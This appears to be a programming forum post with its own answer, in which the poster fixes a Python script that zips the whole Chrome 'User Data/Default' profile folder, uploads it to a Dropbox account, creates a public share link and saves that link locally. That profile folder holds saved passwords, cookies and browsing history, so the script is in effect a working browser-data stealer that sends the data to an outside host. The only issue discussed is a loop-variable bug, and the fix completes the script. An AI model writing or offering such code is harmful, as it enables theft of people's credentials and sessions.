I was making script, that will upload to dropbox zip file with folder Default, path: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
.
The error was:
[1] https://i.sstatic.net/umnJ3.jpg
My code is:
HO = zipfile.ZipFile('huilo.zip', 'w')
os.chdir('C:\Users\user\AppData\Local\Google\Chrome\User Data')
for root, dirs, files in os.walk('Default/'):
for file in files:
HO.write(os.path.join(root, file))
HO.close()
global dbx
access_token = 'access token'
ssss = os.path.join('C:\Users\user/Desktop/huilo.zip')
dbx = dropbox.Dropbox(access_token)
with open(ssss, 'r') as f:
dbx.files_upload(f.read(), '/w/huilo.zip', mode=dropbox.files.WriteMode("overwrite"), autorename=False, mute = True)
sdss = dbx.sharing_create_shared_link(path = '/w/huilo.zip', short_url=False, pending_upload=None)
o = str(sdss.url)
my = open('C:\Users\user/Desktop/sho.txt', "w", encoding='utf-8')
my.write(o)
my.close()
The error was in
for root, dirs, files in os.walk('Default/'):
for file in files:
HO.write(os.path.join(root, file))
Only what i need to do, it's a change root to subdir Correct code:
for subdir, dirs, files in os.walk('Default/'):
for file in files:
HO.write(os.path.join(subdir, file))